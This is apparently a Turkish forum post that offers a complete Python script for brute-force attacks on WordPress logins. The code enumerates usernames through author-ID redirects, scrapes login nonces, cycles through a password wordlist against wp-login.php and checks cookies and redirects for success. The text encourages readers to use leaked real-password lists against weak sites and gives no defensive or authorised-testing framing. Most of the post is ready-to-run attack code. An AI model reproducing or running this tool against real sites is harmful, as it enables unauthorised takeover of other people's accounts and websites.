Kullanıcı adı bilinmiyorsa, site içindeki yazar ID'leri üzerinden kullanıcı adlarını tahmin edip bulmaya çalışır.
Kullanıcı adı biliniyorsa, o kullanıcı adıyla belirttiğiniz parola listesindeki şifreleri sırayla deneyerek giriş yapmaya çalışır.
Giriş sayfasındaki gizli alanlardan gerekli token ve nonce değerlerini alır ve bu bilgileri kullanarak doğru formatta giriş isteği gönderir.
Başarılı giriş yapıldığında bunu ekrana bildirir.
Giriş denemeleri sırasında çeşitli kontrollerle girişin başarılı olup olmadığını anlamaya çalışır.
Kısaca, bu kod bir web sitesindeki WordPress kullanıcı hesaplarına brute force saldırısı düzenlemek için hazırlanmıştır
Tabii ki bu kod her siteye girer demek değildir. Bazı zayıf sitelere giriş yapmak için işinizi görebilir. Ancak öncelikle iyi bir wordlist bulmanız gerekir Kişiye özel hazırlanmış ya da internette gerçek parolalardan oluşturulmuş birçok wordlist bulunmaktadır Onları kullanarak saldırıyı gerçekleştirebilirsiniz.
python kod:
Python:
import requests
import time
import re
from urllib.parse import urlparse
from bs4 import BeautifulSoup
BANNER = r"""
# # # # # # ###### ####### ###### ####### ####### # # #
# # ## # # # # # # # # # # # # # # ## ##
# # # # # # # # # # # # # # # # # # # # # #
# # # # # ### # # ##### ###### ##### # # ##### # ##### # # # # #
####### # # # # # ####### # # # # # # # ####### # #
# # # ## # # # # # # # # # # # # # # #
# # # # # # # # # # ####### ###### # ####### # # # #
"""
def ensure_url_scheme(url):
parsed = urlparse(url)
if not parsed.scheme:
return "https://" + url
return url
def find_usernames(site_url):
usernames = []
print("\n=== Kullanıcı Adı Taraması Başlıyor ===\n")
for i in range(1, 11):
try:
author_url = f"{site_url}/?author={i}"
response = requests.get(author_url, allow_redirects=True)
final_url = response.url
match = re.search(r'/author/([^/]+)/', final_url)
if match:
username = match.group(1)
if username not in usernames:
usernames.append(username)
print(f"{len(usernames)}. author={i} için kullanıcı adı: {username}")
except Exception as e:
print(f"author={i} için hata: {e}")
return usernames
def get_login_nonce(session, login_url):
response = session.get(login_url)
soup = BeautifulSoup(response.text, 'html.parser')
nonce_inputs = soup.find_all('input', {'type': 'hidden'})
data = {}
for hidden in nonce_inputs:
if hidden.has_attr('name') and hidden.has_attr('value'):
data[hidden['name']] = hidden['value']
return data
def check_wp_admin_access(session, url):
response = session.get(url)
if response.status_code == 200 and 'dashboard' in response.text.lower():
return True
return False
def has_wordpress_login_cookie(session):
for cookie in session.cookies:
if cookie.name.startswith('wordpress_logged_in_'):
return True
if cookie.name.startswith('wordpress_sec_'):
return True
return False
def extract_base_url(url):
parsed = urlparse(url)
return f"{parsed.scheme}://{parsed.netloc}"
def brute_force_login(site_url, username, password_file):
print(f"\n=== {username} için parola denemesi başlıyor ===\n")
login_url = f"{site_url}/wp-login.php"
wp_admin_url = f"{site_url}/wp-admin/"
try:
with open(password_file, 'r', encoding='utf-8') as f:
passwords = [line.strip() for line in f if line.strip()]
except Exception as e:
print(f"Parola dosyası açılamadı: {e}")
return
session = requests.Session()
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36'
}
try:
first = session.get(login_url, headers=headers, allow_redirects=True, timeout=20)
canonical_base = extract_base_url(first.url)
login_url = f"{canonical_base}/wp-login.php"
wp_admin_url = f"{canonical_base}/wp-admin/"
site_url = canonical_base
except Exception:
pass
for pwd in passwords:
form_data = get_login_nonce(session, login_url)
form_data.update({
'log': username,
'pwd': pwd,
'wp-submit': 'Log In',
'redirect_to': wp_admin_url,
'testcookie': '1',
'rememberme': 'forever'
})
session.cookies.set('wordpress_test_cookie', 'WP Cookie check', domain=urlparse(login_url).hostname)
attempt_headers = dict(headers)
attempt_headers['Referer'] = login_url
try:
response = session.post(login_url, data=form_data, headers=attempt_headers, allow_redirects=True, timeout=30)
except Exception as e:
print(f"[Hata] İstek hatası: {e}")
time.sleep(2)
continue
success = False
if has_wordpress_login_cookie(session):
success = True
else:
final_url = getattr(response, 'url', '') or ''
if final_url.startswith(wp_admin_url):
success = True
else:
for hop in getattr(response, 'history', []):
hop_url = getattr(hop, 'headers', {}).get('Location', '') or getattr(hop, 'url', '')
if isinstance(hop_url, str) and hop_url.startswith(wp_admin_url):
success = True
break
if not success:
try:
if check_wp_admin_access(session, wp_admin_url):
success = True
except Exception:
pass
if not success:
try:
home = session.get(site_url, headers=headers, allow_redirects=True, timeout=20)
if home.status_code == 200 and 'id="wpadminbar"' in home.text:
success = True
except Exception:
pass
if success:
print(f"[BAŞARILI] Parola bulundu: {pwd}")
print("\n=== İşlem tamamlandı ===")
return
else:
fin = getattr(response, 'url', '') or ''
code = getattr(response, 'status_code', 'NA')
print(f"[Başarısız] Deneme yapıldı: {pwd} (son URL: {fin}, kod: {code})")
time.sleep(2)
print("\n=== Parola bulunamadı ===")
def main():
print(BANNER)
site_url = input("Site URL'sini girin (https://hedefsite.com gibi): ").strip().rstrip('/')
site_url = ensure_url_scheme(site_url)
while True:
choice = input("Kullanıcı adını biliyor musunuz? 1) Evet 2) Hayır: ").strip()
if choice in ['1', '2']:
break
print("Lütfen 1 veya 2 girin.")
if choice == '1':
selected_username = input("Kullanıcı adını girin: ").strip()
else:
usernames = find_usernames(site_url)
if not usernames:
print("Hiç kullanıcı bulunamadı.")
return
print("\nBulunan kullanıcılar:")
for idx, user in enumerate(usernames, 1):
print(f"{idx}. {user}")
while True:
try:
user_choice = int(input("\nParola denemesi yapmak istediğiniz kullanıcı numarasını girin: "))
if 1 <= user_choice <= len(usernames):
selected_username = usernames[user_choice - 1]
break
else:
print("geçerli bir numara girin.")
except ValueError:
print("Lütfen geçerli bir sayı girin.")
password_file = input("Parolaların olduğu dosyanın yolunu girin (örnek: parolalar.txt): ").strip()
brute_force_login(site_url, selected_username, password_file)
if __name__ == "__main__":
main()
requirements.txt
beautifulsoup4
bs4
urlparse
requests
Moderatör tarafında düzenlendi:




